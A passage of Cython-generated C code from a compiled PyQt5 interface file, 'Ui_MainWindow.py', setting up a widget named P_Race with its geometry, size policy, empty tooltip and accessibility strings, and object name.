QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 647, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 647, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 647, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 647, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_P_Race, __pyx_t_7) < 0) __PYX_ERR(0, 647, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":648 * self.toolBox.setObjectName("toolBox") * self.P_Race = QtWidgets.QWidget() * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QRect); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__414, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 648, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":649 * self.P_Race = QtWidgets.QWidget() * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Minimum); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Minimum); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_9, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_9, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_3); __pyx_t_9 = 0; __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 649, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":650 * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 650, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__415, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 650, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":651 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) * self.P_Race.setSizePolicy(sizePolicy) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 651, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__416, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 651, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":652 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.P_Race.setSizePolicy(sizePolicy) * self.P_Race.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 652, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 652, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 652, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":653 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) * self.P_Race.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.P_Race.setToolTip("") * self.P_Race.setStatusTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_sizePolicy); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 653, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":654 * sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) * self.P_Race.setSizePolicy(sizePolicy) * self.P_Race.setToolTip("") # <<<<<<<<<<<<<< * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 654, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 654, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__417, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 654, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":655 * self.P_Race.setSizePolicy(sizePolicy) * self.P_Race.setToolTip("") * self.P_Race.setStatusTip("") # <<<<<<<<<<<<<< * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 655, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 655, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__418, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 655, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":656 * self.P_Race.setToolTip("") * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") # <<<<<<<<<<<<<< * self.P_Race.setAccessibleDescription("") * self.P_Race.setObjectName("P_Race") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 656, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 656, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__419, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 656, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":657 * self.P_Race.setStatusTip("") * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.P_Race.setObjectName("P_Race") * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 657, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 657, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__420, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 657, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":658 * self.P_Race.setAccessibleName("") * self.P_Race.setAccessibleDescription("") * self.P_Race.setObjectName("P_Race") # <<<<<<<<<<<<<< * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 658, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 658, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__421, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 658, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":659 * self.P_Race.setAccessibleDescription("") * self.P_Race.setObjectName("P_Race") * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { 